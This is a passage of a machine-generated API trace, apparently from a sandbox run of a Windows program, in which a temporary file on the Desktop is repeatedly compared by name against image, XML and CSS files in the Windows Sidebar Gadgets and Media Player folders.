(lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.168] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0145.169] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS 